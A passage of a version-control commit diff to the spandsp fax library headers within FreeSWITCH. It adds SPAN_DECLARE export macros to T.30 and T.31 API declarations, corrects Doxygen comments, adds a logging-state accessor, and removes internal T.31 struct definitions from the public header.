+SPAN_DECLARE(size_t) t30_get_rx_nsc(t30_state_t *s, const uint8_t *nsc[]);
 
 /*! Set the transmitted NSS frame to be associated with a T.30 context.
     \brief Set the transmitted NSS frame to be associated with a T.30 context.
     \param s The T.30 context.
-    \param nsf A pointer to the frame.
+    \param nss A pointer to the frame.
     \param len The length of the frame.
     \return 0 for OK, else -1. */
-int t30_set_tx_nss(t30_state_t *s, const uint8_t *nss, int len);
+SPAN_DECLARE(int) t30_set_tx_nss(t30_state_t *s, const uint8_t *nss, int len);
 
 /*! Get an NSS frame to be associated with a T.30 context.
     \brief Set an NSS frame to be associated with a T.30 context.
     \param s The T.30 context.
     \param nss A pointer to the frame.
     \return the length of the NSS message. */
-size_t t30_get_tx_nss(t30_state_t *s, const uint8_t *nss[]);
+SPAN_DECLARE(size_t) t30_get_tx_nss(t30_state_t *s, const uint8_t *nss[]);
 
 /*! Get an NSS frame to be associated with a T.30 context.
     \brief Set an NSS frame to be associated with a T.30 context.
     \param s The T.30 context.
     \param nss A pointer to the frame.
     \return the length of the NSS message. */
-size_t t30_get_rx_nss(t30_state_t *s, const uint8_t *nss[]);
+SPAN_DECLARE(size_t) t30_get_rx_nss(t30_state_t *s, const uint8_t *nss[]);
 
 /*! Set the transmitted identifier associated with a T.30 context.
     \brief Set the transmitted identifier associated with a T.30 context.
     \param s The T.30 context.
     \param id A pointer to the identifier.
     \return 0 for OK, else -1. */
-int t30_set_tx_ident(t30_state_t *s, const char *id);
+SPAN_DECLARE(int) t30_set_tx_ident(t30_state_t *s, const char *id);
 
 /*! Get the transmitted identifier associated with a T.30 context.
     \brief Set the transmitted identifier associated with a T.30 context.
     \param s The T.30 context.
-    \param id A pointer to the identifier.
-    \return 0 for OK, else -1. */
-const char *t30_get_tx_ident(t30_state_t *s);
+    \return A pointer to the identifier. */
+SPAN_DECLARE(const char *) t30_get_tx_ident(t30_state_t *s);
 
 /*! Get the transmitted identifier associated with a T.30 context.
     \brief Set the transmitted identifier associated with a T.30 context.
     \param s The T.30 context.
-    \param id A pointer to the identifier.
-    \return 0 for OK, else -1. */
-const char *t30_get_rx_ident(t30_state_t *s);
+    \return A pointer to the identifier. */
+SPAN_DECLARE(const char *) t30_get_rx_ident(t30_state_t *s);
 
 /*! Set the transmitted sub-address associated with a T.30 context.
     \brief Set the transmitted sub-address associated with a T.30 context.
     \param s The T.30 context.
     \param sub_address A pointer to the sub-address.
     \return 0 for OK, else -1. */
-int t30_set_tx_sub_address(t30_state_t *s, const char *sub_address);
+SPAN_DECLARE(int) t30_set_tx_sub_address(t30_state_t *s, const char *sub_address);
 
 /*! Get the received sub-address associated with a T.30 context.
     \brief Get the received sub-address associated with a T.30 context.
     \param s The T.30 context.
-    \param sub_address A pointer to the sub-address.
-    \return 0 for OK, else -1. */
-const char *t30_get_tx_sub_address(t30_state_t *s);
+    \return A pointer to the sub-address. */
+SPAN_DECLARE(const char *) t30_get_tx_sub_address(t30_state_t *s);
 
 /*! Get the received sub-address associated with a T.30 context.
     \brief Get the received sub-address associated with a T.30 context.
     \param s The T.30 context.
-    \param sub_address A pointer to the sub-address.
-    \return 0 for OK, else -1. */
-const char *t30_get_rx_sub_address(t30_state_t *s);
+    \return A pointer to the sub-address. */
+SPAN_DECLARE(const char *) t30_get_rx_sub_address(t30_state_t *s);
 
 /*! Set the transmitted selective polling address (i.e. the one we will send to the far
     end) associated with a T.30 context.
@@ -149,23 +145,21 @@
     \param s The T.30 context.
     \param selective_polling_address A pointer to the selective polling address.
     \return 0 for OK, else -1. */
-int t30_set_tx_selective_polling_address(t30_state_t *s, const char *selective_polling_address);
+SPAN_DECLARE(int) t30_set_tx_selective_polling_address(t30_state_t *s, const char *selective_polling_address);
 
 /*! Get the received selective polling address (i.e. the one we will send to the far
     end) associated with a T.30 context.
     \brief Get the received selective polling address associated with a T.30 context.
     \param s The T.30 context.
-    \param selective_polling_address A pointer to the selective polling address.
-    \return 0 for OK, else -1. */
-const char *t30_get_tx_selective_polling_address(t30_state_t *s);
+    \return A pointer to the selective polling address. */
+SPAN_DECLARE(const char *) t30_get_tx_selective_polling_address(t30_state_t *s);
 
 /*! Get the received selective polling address (i.e. the one we will send to the far
     end) associated with a T.30 context.
     \brief Get the received selective polling address associated with a T.30 context.
     \param s The T.30 context.
-    \param selective_polling_address A pointer to the selective polling address.
-    \return 0 for OK, else -1. */
-const char *t30_get_rx_selective_polling_address(t30_state_t *s);
+    \return A pointer to the selective polling address. */
+SPAN_DECLARE(const char *) t30_get_rx_selective_polling_address(t30_state_t *s);
 
 /*! Set the transmitted polled sub-address (i.e. the one we will send to the far
     end) associated with a T.30 context.
@@ -173,23 +167,21 @@
     \param s The T.30 context.
     \param polled_sub_address A pointer to the polled sub-address.
     \return 0 for OK, else -1. */
-int t30_set_tx_polled_sub_address(t30_state_t *s, const char *polled_sub_address);
+SPAN_DECLARE(int) t30_set_tx_polled_sub_address(t30_state_t *s, const char *polled_sub_address);
 
 /*! Get the received polled sub-address (i.e. the one we will send to the far
     end) associated with a T.30 context.
     \brief Get the received polled sub-address associated with a T.30 context.
     \param s The T.30 context.
-    \param polled_sub_address A pointer to the polled sub-address.
-    \return 0 for OK, else -1. */
-const char *t30_get_tx_polled_sub_address(t30_state_t *s);
+    \return A pointer to the polled sub-address. */
+SPAN_DECLARE(const char *) t30_get_tx_polled_sub_address(t30_state_t *s);
 
 /*! Get the received polled sub-address (i.e. the one we will send to the far
     end) associated with a T.30 context.
     \brief Get the received polled sub-address associated with a T.30 context.
     \param s The T.30 context.
-    \param polled_sub_address A pointer to the polled sub-address.
-    \return 0 for OK, else -1. */
-const char *t30_get_rx_polled_sub_address(t30_state_t *s);
+    \return A pointer to the polled sub-address. */
+SPAN_DECLARE(const char *) t30_get_rx_polled_sub_address(t30_state_t *s);
 
 /*! Set the transmitted sender ident (i.e. the one we will send to the far
     end) associated with a T.30 context.
@@ -197,23 +189,21 @@
     \param s The T.30 context.
     \param sender_ident A pointer to the sender ident.
     \return 0 for OK, else -1. */
-int t30_set_tx_sender_ident(t30_state_t *s, const char *sender_ident);
+SPAN_DECLARE(int) t30_set_tx_sender_ident(t30_state_t *s, const char *sender_ident);
 
 /*! Get the received sender ident (i.e. the one we will send to the far
     end) associated with a T.30 context.
     \brief Get the received sender ident associated with a T.30 context.
     \param s The T.30 context.
-    \param sender_ident A pointer to the sender ident.
-    \return 0 for OK, else -1. */
-const char *t30_get_tx_sender_ident(t30_state_t *s);
+    \return A pointer to the sender ident. */
+SPAN_DECLARE(const char *) t30_get_tx_sender_ident(t30_state_t *s);
 
 /*! Get the received sender ident (i.e. the one we will send to the far
     end) associated with a T.30 context.
     \brief Get the received sender ident associated with a T.30 context.
     \param s The T.30 context.
-    \param sender_ident A pointer to the sender ident.
-    \return 0 for OK, else -1. */
-const char *t30_get_rx_sender_ident(t30_state_t *s);
+    \return A pointer to the sender ident. */
+SPAN_DECLARE(const char *) t30_get_rx_sender_ident(t30_state_t *s);
 
 /*! Set the transmitted password (i.e. the one we will send to the far
     end) associated with a T.30 context.
@@ -221,178 +211,168 @@
     \param s The T.30 context.
     \param password A pointer to the password.
     \return 0 for OK, else -1. */
-int t30_set_tx_password(t30_state_t *s, const char *password);
+SPAN_DECLARE(int) t30_set_tx_password(t30_state_t *s, const char *password);
 
 /*! Get the received password (i.e. the one we will send to the far
     end) associated with a T.30 context.
     \brief Get the received password associated with a T.30 context.
     \param s The T.30 context.
-    \param password A pointer to the password.
-    \return 0 for OK, else -1. */
-const char *t30_get_tx_password(t30_state_t *s);
+    \return A pointer to the password. */
+SPAN_DECLARE(const char *) t30_get_tx_password(t30_state_t *s);
 
 /*! Get the received password (i.e. the one we will send to the far
     end) associated with a T.30 context.
     \brief Get the received password associated with a T.30 context.
     \param s The T.30 context.
-    \param password A pointer to the password.
-    \return 0 for OK, else -1. */
-const char *t30_get_rx_password(t30_state_t *s);
+    \return A pointer to the password. */
+SPAN_DECLARE(const char *) t30_get_rx_password(t30_state_t *s);
 
 /*! Set the transmitted ??? (i.e. the one we will send to the far
     end) associated with a T.30 context.
     \brief Set the transmitted ??? associated with a T.30 context.
     \param s The T.30 context.
     \param type The type of address.
-    \param type A pointer to the address.
+    \param address A pointer to the address.
     \param len The length of the address.
     \return 0 for OK, else -1. */
-int t30_set_tx_tsa(t30_state_t *s, int type, const char *address, int len);
+SPAN_DECLARE(int) t30_set_tx_tsa(t30_state_t *s, int type, const char *address, int len);
 
 /*! Get the received ??? (i.e. the one we will send to the far
     end) associated with a T.30 context.
     \brief Get the received ??? associated with a T.30 context.
     \param s The T.30 context.
     \param type The type of address.
-    \param type A pointer to the address.
-    \param len The length of the address.
-    \return 0 for OK, else -1. */
-size_t t30_get_tx_tsa(t30_state_t *s, int *type, const char *address[]);
+    \param address A pointer to the address.
+    \return The length of the address. */
+SPAN_DECLARE(size_t) t30_get_tx_tsa(t30_state_t *s, int *type, const char *address[]);
 
 /*! Get the received ??? (i.e. the one we will send to the far
     end) associated with a T.30 context.
     \brief Get the received ??? associated with a T.30 context.
     \param s The T.30 context.
     \param type The type of address.
-    \param type A pointer to the address.
-    \param len The length of the address.
-    \return 0 for OK, else -1. */
-size_t t30_get_rx_tsa(t30_state_t *s, int *type, const char *address[]);
+    \param address A pointer to the address.
+    \return The length of the address. */
+SPAN_DECLARE(size_t) t30_get_rx_tsa(t30_state_t *s, int *type, const char *address[]);
 
 /*! Set the transmitted ??? (i.e. the one we will send to the far
     end) associated with a T.30 context.
     \brief Set the transmitted ??? associated with a T.30 context.
     \param s The T.30 context.
     \param type The type of address.
-    \param type A pointer to the address.
+    \param address A pointer to the address.
     \param len The length of the address.
     \return 0 for OK, else -1. */
-int t30_set_tx_ira(t30_state_t *s, int type, const char *address, int len);
+SPAN_DECLARE(int) t30_set_tx_ira(t30_state_t *s, int type, const char *address, int len);
 
 /*! Get the received ??? (i.e. the one we will send to the far
     end) associated with a T.30 context.
     \brief Get the received ??? associated with a T.30 context.
     \param s The T.30 context.
     \param type The type of address.
-    \param type A pointer to the address.
-    \param len The length of the address.
-    \return 0 for OK, else -1. */
-size_t t30_get_tx_ira(t30_state_t *s, int *type, const char *address[]);
+    \param address A pointer to the address.
+    \return The length of the address. */
+SPAN_DECLARE(size_t) t30_get_tx_ira(t30_state_t *s, int *type, const char *address[]);
 
 /*! Get the received ??? (i.e. the one we will send to the far
     end) associated with a T.30 context.
     \brief Get the received ??? associated with a T.30 context.
     \param s The T.30 context.
     \param type The type of address.
-    \param type A pointer to the address.
-    \param len The length of the address.
-    \return 0 for OK, else -1. */
-size_t t30_get_rx_ira(t30_state_t *s, int *type, const char *address[]);
+    \param address A pointer to the address.
+    \return The length of the address. */
+SPAN_DECLARE(size_t) t30_get_rx_ira(t30_state_t *s, int *type, const char *address[]);
 
 /*! Set the transmitted ??? (i.e. the one we will send to the far
     end) associated with a T.30 context.
     \brief Set the transmitted ??? associated with a T.30 context.
     \param s The T.30 context.
     \param type The type of address.
-    \param type A pointer to the address.
+    \param address A pointer to the address.
     \param len The length of the address.
     \return 0 for OK, else -1. */
-int t30_set_tx_cia(t30_state_t *s, int type, const char *address, int len);
+SPAN_DECLARE(int) t30_set_tx_cia(t30_state_t *s, int type, const char *address, int len);
 
 /*! Get the received ??? (i.e. the one we will send to the far
     end) associated with a T.30 context.
     \brief Get the received ??? associated with a T.30 context.
     \param s The T.30 context.
     \param type The type of address.
-    \param type A pointer to the address.
-    \param len The length of the address.
-    \return 0 for OK, else -1. */
-size_t t30_get_tx_cia(t30_state_t *s, int *type, const char *address[]);
+    \param address A pointer to the address.
+    \return The length of the address. */
+SPAN_DECLARE(size_t) t30_get_tx_cia(t30_state_t *s, int *type, const char *address[]);
 
 /*! Get the received ??? (i.e. the one we will send to the far
     end) associated with a T.30 context.
     \brief Get the received ??? associated with a T.30 context.
     \param s The T.30 context.
     \param type The type of address.
-    \param type A pointer to the address.
-    \param len The length of the address.
+    \param address A pointer to the address.
     \return 0 for OK, else -1. */
-size_t t30_get_rx_cia(t30_state_t *s, int *type, const char *address[]);
+SPAN_DECLARE(size_t) t30_get_rx_cia(t30_state_t *s, int *type, const char *address[]);
 
 /*! Set the transmitted ??? (i.e. the one we will send to the far
     end) associated with a T.30 context.
     \brief Set the transmitted ??? associated with a T.30 context.
     \param s The T.30 context.
     \param type The type of address.
-    \param type A pointer to the address.
+    \param address A pointer to the address.
     \param len The length of the address.
     \return 0 for OK, else -1. */
-int t30_set_tx_isp(t30_state_t *s, int type, const char *address, int len);
+SPAN_DECLARE(int) t30_set_tx_isp(t30_state_t *s, int type, const char *address, int len);
 
 /*! Get the received ??? (i.e. the one we will send to the far
     end) associated with a T.30 context.
     \brief Get the received ??? associated with a T.30 context.
     \param s The T.30 context.
     \param type The type of address.
-    \param type A pointer to the address.
+    \param address A pointer to the address.
     \return 0 for OK, else -1. */
-size_t t30_get_tx_isp(t30_state_t *s, int *type, const char *address[]);
+SPAN_DECLARE(size_t) t30_get_tx_isp(t30_state_t *s, int *type, const char *address[]);
 
 /*! Get the received ??? (i.e. the one we will send to the far
     end) associated with a T.30 context.
     \brief Get the received ??? associated with a T.30 context.
     \param s The T.30 context.
     \param type The type of address.
-    \param type A pointer to the address.
+    \param address A pointer to the address.
     \return 0 for OK, else -1. */
-size_t t30_get_rx_isp(t30_state_t *s, int *type, const char *address[]);
+SPAN_DECLARE(size_t) t30_get_rx_isp(t30_state_t *s, int *type, const char *address[]);
 
 /*! Set the transmitted ??? (i.e. the one we will send to the far
     end) associated with a T.30 context.
     \brief Set the transmitted ??? associated with a T.30 context.
     \param s The T.30 context.
     \param type The type of address.
-    \param type A pointer to the address.
+    \param address A pointer to the address.
     \param len The length of the address.
     \return 0 for OK, else -1. */
-int t30_set_tx_csa(t30_state_t *s, int type, const char *address, int len);
+SPAN_DECLARE(int) t30_set_tx_csa(t30_state_t *s, int type, const char *address, int len);
 
 /*! Get the received ??? (i.e. the one we will send to the far
     end) associated with a T.30 context.
     \brief Get the received ??? associated with a T.30 context.
     \param s The T.30 context.
     \param type The type of address.
-    \param type A pointer to the address.
-    \param len The length of the address.
-    \return 0 for OK, else -1. */
-size_t t30_get_tx_csa(t30_state_t *s, int *type, const char *address[]);
+    \param address A pointer to the address.
+    \return The length of the address. */
+SPAN_DECLARE(size_t) t30_get_tx_csa(t30_state_t *s, int *type, const char *address[]);
 
 /*! Get the received ??? (i.e. the one we will send to the far
     end) associated with a T.30 context.
     \brief Get the received ??? associated with a T.30 context.
     \param s The T.30 context.
     \param type The type of address.
-    \param type A pointer to the address.
-    \param len The length of the address.
+    \param address A pointer to the address.
     \return 0 for OK, else -1. */
-size_t t30_get_rx_csa(t30_state_t *s, int *type, const char *address[]);
+SPAN_DECLARE(size_t) t30_get_rx_csa(t30_state_t *s, int *type, const char *address[]);
 
 /*! Set the transmitted header information associated with a T.30 context.
     \brief Set the transmitted header information associated with a T.30 context.
     \param s The T.30 context.
     \param info A pointer to the information string.
     \return 0 for OK, else -1. */
-int t30_set_tx_page_header_info(t30_state_t *s, const char *info);
+SPAN_DECLARE(int) t30_set_tx_page_header_info(t30_state_t *s, const char *info);
 
 /*! Get the header information associated with a T.30 context.
     \brief Get the header information associated with a T.30 context.
@@ -400,25 +380,25 @@
     \param info A pointer to a buffer for the header information.  The buffer
            should be at least 51 bytes long.
     \return the length of the string. */
-size_t t30_get_tx_page_header_info(t30_state_t *s, char *info);
+SPAN_DECLARE(size_t) t30_get_tx_page_header_info(t30_state_t *s, char *info);
 
 /*! Get the country of origin of the remote FAX machine associated with a T.30 context.
     \brief Get the country of origin of the remote FAX machine associated with a T.30 context.
     \param s The T.30 context.
     \return a pointer to the country name, or NULL if the country is not known. */
-const char *t30_get_rx_country(t30_state_t *s);
+SPAN_DECLARE(const char *) t30_get_rx_country(t30_state_t *s);
 
 /*! Get the name of the vendor of the remote FAX machine associated with a T.30 context.
     \brief Get the name of the vendor of the remote FAX machine associated with a T.30 context.
     \param s The T.30 context.
     \return a pointer to the vendor name, or NULL if the vendor is not known. */
-const char *t30_get_rx_vendor(t30_state_t *s);
+SPAN_DECLARE(const char *) t30_get_rx_vendor(t30_state_t *s);
 
 /*! Get the name of the model of the remote FAX machine associated with a T.30 context.
     \brief Get the name of the model of the remote FAX machine associated with a T.30 context.
     \param s The T.30 context.
     \return a pointer to the model name, or NULL if the model is not known. */
-const char *t30_get_rx_model(t30_state_t *s);
+SPAN_DECLARE(const char *) t30_get_rx_model(t30_state_t *s);
 
 /*! Specify the file name of the next TIFF file to be received by a T.30
     context.
@@ -426,7 +406,7 @@
     \param s The T.30 context.
     \param file The file name
     \param stop_page The maximum page to receive. -1 for no restriction. */
-void t30_set_rx_file(t30_state_t *s, const char *file, int stop_page);
+SPAN_DECLARE(void) t30_set_rx_file(t30_state_t *s, const char *file, int stop_page);
 
 /*! Specify the file name of the next TIFF file to be transmitted by a T.30
     context.
@@ -435,20 +415,20 @@
     \param file The file name
     \param start_page The first page to send. -1 for no restriction.
     \param stop_page The last page to send. -1 for no restriction. */
-void t30_set_tx_file(t30_state_t *s, const char *file, int start_page, int stop_page);
+SPAN_DECLARE(void) t30_set_tx_file(t30_state_t *s, const char *file, int start_page, int stop_page);
 
 /*! Set Internet aware FAX (IAF) mode.
     \brief Set Internet aware FAX (IAF) mode.
     \param s The T.30 context.
     \param iaf TRUE for IAF, or FALSE for non-IAF. */
-void t30_set_iaf_mode(t30_state_t *s, int iaf);
+SPAN_DECLARE(void) t30_set_iaf_mode(t30_state_t *s, int iaf);
 
 /*! Specify if error correction mode (ECM) is allowed by a T.30 context.
     \brief Select ECM capability.
     \param s The T.30 context.
     \param enabled TRUE for ECM capable, FALSE for not ECM capable.
     \return 0 if OK, else -1. */
-int t30_set_ecm_capability(t30_state_t *s, int enabled);
+SPAN_DECLARE(int) t30_set_ecm_capability(t30_state_t *s, int enabled);
 
 /*! Specify the output encoding for TIFF files created during FAX reception.
     \brief Specify the output encoding for TIFF files created during FAX reception.
@@ -458,91 +438,91 @@
            densest option, but support for it is broken in a number of software
            packages.
     \return 0 if OK, else -1. */
-int t30_set_rx_encoding(t30_state_t *s, int encoding);
+SPAN_DECLARE(int) t30_set_rx_encoding(t30_state_t *s, int encoding);
 
 /*! Specify the minimum scan line time supported by a T.30 context.
     \brief Specify minimum scan line time.
     \param s The T.30 context.
     \param min_time The minimum permitted scan line time, in milliseconds.
     \return 0 if OK, else -1. */
-int t30_set_minimum_scan_line_time(t30_state_t *s, int min_time);
+SPAN_DECLARE(int) t30_set_minimum_scan_line_time(t30_state_t *s, int min_time);
 
 /*! Specify which modem types are supported by a T.30 context.
     \brief Specify supported modems.
     \param s The T.30 context.
     \param supported_modems Bit field list of the supported modems.
     \return 0 if OK, else -1. */
-int t30_set_supported_modems(t30_state_t *s, int supported_modems);
+SPAN_DECLARE(int) t30_set_supported_modems(t30_state_t *s, int supported_modems);
 
 /*! Specify which compression types are supported by a T.30 context.
     \brief Specify supported compression types.
     \param s The T.30 context.
     \param supported_compressions Bit field list of the supported compression types.
     \return 0 if OK, else -1. */
-int t30_set_supported_compressions(t30_state_t *s, int supported_compressions);
+SPAN_DECLARE(int) t30_set_supported_compressions(t30_state_t *s, int supported_compressions);
 
 /*! Specify which resolutions are supported by a T.30 context.
     \brief Specify supported resolutions.
     \param s The T.30 context.
     \param supported_resolutions Bit field list of the supported resolutions.
     \return 0 if OK, else -1. */
-int t30_set_supported_resolutions(t30_state_t *s, int supported_resolutions);
+SPAN_DECLARE(int) t30_set_supported_resolutions(t30_state_t *s, int supported_resolutions);
 
 /*! Specify which images sizes are supported by a T.30 context.
     \brief Specify supported image sizes.
     \param s The T.30 context.
     \param supported_image_sizes Bit field list of the supported widths and lengths.
     \return 0 if OK, else -1. */
-int t30_set_supported_image_sizes(t30_state_t *s, int supported_image_sizes);
+SPAN_DECLARE(int) t30_set_supported_image_sizes(t30_state_t *s, int supported_image_sizes);
 
 /*! Specify which special T.30 features are supported by a T.30 context.
     \brief Specify supported T.30 features.
     \param s The T.30 context.
     \param supported_t30_features Bit field list of the supported features.
     \return 0 if OK, else -1. */
-int t30_set_supported_t30_features(t30_state_t *s, int supported_t30_features);
+SPAN_DECLARE(int) t30_set_supported_t30_features(t30_state_t *s, int supported_t30_features);
 
 /*! Set T.30 status. This may be used to adjust the status from within
     the phase B and phase D callbacks.
     \brief Set T.30 status.
     \param s The T.30 context.
     \param status The new status. */
-void t30_set_status(t30_state_t *s, int status);
+SPAN_DECLARE(void) t30_set_status(t30_state_t *s, int status);
 
 /*! Specify a period of responding with receiver not ready.
     \brief Specify a period of responding with receiver not ready.
     \param s The T.30 context.
     \param count The number of times to report receiver not ready.
     \return 0 if OK, else -1. */
-int t30_set_receiver_not_ready(t30_state_t *s, int count);
+SPAN_DECLARE(int) t30_set_receiver_not_ready(t30_state_t *s, int count);
 
 /*! Set a callback function for T.30 phase B handling.
     \brief Set a callback function for T.30 phase B handling.
     \param s The T.30 context.
     \param handler The callback function.
     \param user_data An opaque pointer passed to the callback function. */
-void t30_set_phase_b_handler(t30_state_t *s, t30_phase_b_handler_t *handler, void *user_data);
+SPAN_DECLARE(void) t30_set_phase_b_handler(t30_state_t *s, t30_phase_b_handler_t *handler, void *user_data);
 
 /*! Set a callback function for T.30 phase D handling.
     \brief Set a callback function for T.30 phase D handling.
     \param s The T.30 context.
     \param handler The callback function.
     \param user_data An opaque pointer passed to the callback function. */
-void t30_set_phase_d_handler(t30_state_t *s, t30_phase_d_handler_t *handler, void *user_data);
+SPAN_DECLARE(void) t30_set_phase_d_handler(t30_state_t *s, t30_phase_d_handler_t *handler, void *user_data);
 
 /*! Set a callback function for T.30 phase E handling.
     \brief Set a callback function for T.30 phase E handling.
     \param s The T.30 context.
     \param handler The callback function.
     \param user_data An opaque pointer passed to the callback function. */
-void t30_set_phase_e_handler(t30_state_t *s, t30_phase_e_handler_t *handler, void *user_data);
+SPAN_DECLARE(void) t30_set_phase_e_handler(t30_state_t *s, t30_phase_e_handler_t *handler, void *user_data);
 
 /*! Set a callback function for T.30 end of document handling.
     \brief Set a callback function for T.30 end of document handling.
     \param s The T.30 context.
     \param handler The callback function.
     \param user_data An opaque pointer passed to the callback function. */
-void t30_set_document_handler(t30_state_t *s, t30_document_handler_t *handler, void *user_data);
+SPAN_DECLARE(void) t30_set_document_handler(t30_state_t *s, t30_document_handler_t *handler, void *user_data);
 
 /*! Set a callback function for T.30 frame exchange monitoring. This is called from the heart
     of the signal processing, so don't take too long in the handler routine.
@@ -550,8 +530,15 @@
     \param s The T.30 context.
     \param handler The callback function.
     \param user_data An opaque pointer passed to the callback function. */
-void t30_set_real_time_frame_handler(t30_state_t *s, t30_real_time_frame_handler_t *handler, void *user_data);
+SPAN_DECLARE(void) t30_set_real_time_frame_handler(t30_state_t *s, t30_real_time_frame_handler_t *handler, void *user_data);
 
+/*! Get a pointer to the logging context associated with a T.30 context.
+    \brief Get a pointer to the logging context associated with a T.30 context.
+    \param s The T.30 context.
+    \return A pointer to the logging context, or NULL.
+*/
+SPAN_DECLARE(logging_state_t *) t30_get_logging_state(t30_state_t *s);
+
 #if defined(__cplusplus)
 }
 #endif

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/t30_logging.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/t30_logging.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/t30_logging.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: t30_logging.h,v 1.2 2008/04/17 14:27:00 steveu Exp $
+ * $Id: t30_logging.h,v 1.4 2009/02/03 16:28:41 steveu Exp $
  */
 
 /*! \file */
@@ -40,20 +40,20 @@
     \param x The frametype octet.
     \return A pointer to the text name for the frame type. If the frame type is
             not value, the string "???" is returned. */
-const char *t30_frametype(uint8_t x);
+SPAN_DECLARE(const char *) t30_frametype(uint8_t x);
 
 /*! Decode a DIS, DTC or DCS frame, and log the contents.
     \brief Decode a DIS, DTC or DCS frame, and log the contents.
     \param s The T.30 context.
     \param dis A pointer to the frame to be decoded.
     \param len The length of the frame. */
-void t30_decode_dis_dtc_dcs(t30_state_t *s, const uint8_t *dis, int len);
+SPAN_DECLARE(void) t30_decode_dis_dtc_dcs(t30_state_t *s, const uint8_t *dis, int len);
 
 /*! Convert a phase E completion code to a short text description.
     \brief Convert a phase E completion code to a short text description.
     \param result The result code.
     \return A pointer to the description. */
-const char *t30_completion_code_to_str(int result);
+SPAN_DECLARE(const char *) t30_completion_code_to_str(int result);
 
 #if defined(__cplusplus)
 }

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/t31.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/t31.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/t31.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: t31.h,v 1.52 2008/07/31 12:55:30 steveu Exp $
+ * $Id: t31.h,v 1.59 2009/03/13 12:59:26 steveu Exp $
  */
 
 /*! \file */
@@ -38,6 +38,10 @@
 \section t31_page_sec_2 How does it work?
 */
 
+/*!
+    T.31 descriptor. This defines the working state for a single instance of
+    a T.31 FAX modem.
+*/
 typedef struct t31_state_s t31_state_t;
 
 typedef int (t31_modem_control_handler_t)(t31_state_t *s, void *user_data, int op, const char *num);
@@ -48,158 +52,14 @@
 #define T31_MAX_HDLC_LEN        284
 #define T31_T38_MAX_HDLC_LEN    260
 
-/*!
-    Analogue FAX front end channel descriptor. This defines the state of a single working
-    instance of an analogue line FAX front end.
-*/
-typedef struct
-{
-    fax_modems_state_t modems;
-
-    /*! The transmit signal handler to be used when the current one has finished sending. */
-    span_tx_handler_t *next_tx_handler;
-    void *next_tx_user_data;
-
-    /*! \brief No of data bits in current_byte. */
-    int bit_no;
-    /*! \brief The current data byte in progress. */
-    int current_byte;
-
-    /*! \brief Rx power meter, used to detect silence. */
-    power_meter_t rx_power;
-    /*! \brief Last sample, used for an elementary HPF for the power meter. */
-    int16_t last_sample;
-    /*! \brief The current silence threshold. */
-    int32_t silence_threshold_power;
-
-    /*! \brief Samples of silence heard */
-    int silence_heard;
-} t31_audio_front_end_state_t;
-
-/*!
-    Analogue FAX front end channel descriptor. This defines the state of a single working
-    instance of an analogue line FAX front end.
-*/
-typedef struct
-{
-    t38_core_state_t t38;
-
-    /*! \brief The number of octets to send in each image packet (non-ECM or ECM) at the current
-               rate and the current specified packet interval. */
-    int octets_per_data_packet;
-
-    int timed_step;
-
-    int ms_per_tx_chunk;
-    int merge_tx_fields;
-
-    /*! \brief TRUE is there has been some T.38 data missed */
-    int missing_data;
-
-    /*! \brief The number of times an indicator packet will be sent. Numbers greater than one
-               will increase reliability for UDP transmission. Zero is valid, to suppress all
-               indicator packets for TCP transmission. */
-    int indicator_tx_count;
-
-    /*! \brief The number of times a data packet which ends transmission will be sent. Numbers
-               greater than one will increase reliability for UDP transmission. Zero is not valid. */
-    int data_end_tx_count;
-
-    /*! \brief The current T.38 data type being transmitted */
-    int current_tx_data_type;
-    /*! \brief The next queued tramsit indicator */
-    int next_tx_indicator;
-
-    int trailer_bytes;
-
-    struct
-    {
-        uint8_t buf[T31_T38_MAX_HDLC_LEN];
-        int len;
-    } hdlc_rx;
-
-    int current_rx_type;
-    int current_tx_type;
-
-    int32_t next_tx_samples;
-    int32_t timeout_rx_samples;
-    /*! \brief A "sample" count, used to time events */
-    int32_t samples;
-} t31_t38_front_end_state_t;
-
-/*!
-    T.31 descriptor. This defines the working state for a single instance of
-    a T.31 FAX modem.
-*/
-struct t31_state_s
-{
-    at_state_t at_state;
-    t31_modem_control_handler_t *modem_control_handler;
-    void *modem_control_user_data;
-
-    t31_audio_front_end_state_t audio;
-    t31_t38_front_end_state_t t38_fe;
-    /*! TRUE if working in T.38 mode. */
-    int t38_mode;
-
-    /*! HDLC buffer, for composing an HDLC frame from the computer to the channel. */
-    struct
-    {
-        uint8_t buf[T31_MAX_HDLC_LEN];
-        int len;
-        int ptr;
-        /*! \brief TRUE when the end of HDLC data from the computer has been detected. */
-        int final;
-    } hdlc_tx;
-    /*! Buffer for data from the computer to the channel. */
-    struct
-    {
-        uint8_t data[T31_TX_BUF_LEN];
-        /*! \brief The number of bytes stored in transmit buffer. */
-        int in_bytes;
-        /*! \brief The number of bytes sent from the transmit buffer. */
-        int out_bytes;
-        /*! \brief TRUE if the flow of real data has started. */
-        int data_started;
-        /*! \brief TRUE if holding up further data into the buffer, for flow control. */
-        int holding;
-        /*! \brief TRUE when the end of non-ECM data from the computer has been detected. */
-        int final;
-    } tx;
-
-    /*! TRUE if DLE prefix just used */
-    int dled;
-
-	/*! \brief Samples of silence awaited, as specified in a "wait for silence" command */
-    int silence_awaited;
-
-    /*! \brief The current bit rate for the FAX fast message transfer modem. */
-    int bit_rate;
-    /*! \brief TRUE if a valid HDLC frame has been received in the current reception period. */
-    int rx_frame_received;
-
-    /*! \brief Samples elapsed in the current call */
-    int64_t call_samples;
-    int64_t dte_data_timeout;
-
-    /*! \brief The currently queued modem type. */
-    int modem;
-    /*! \brief TRUE when short training mode has been selected by the computer. */
-    int short_train;
-    queue_state_t *rx_queue;
-
-    /*! \brief Error and flow logging control */
-    logging_state_t logging;
-};
-
 #if defined(__cplusplus)
 extern "C"
 {
 #endif
 
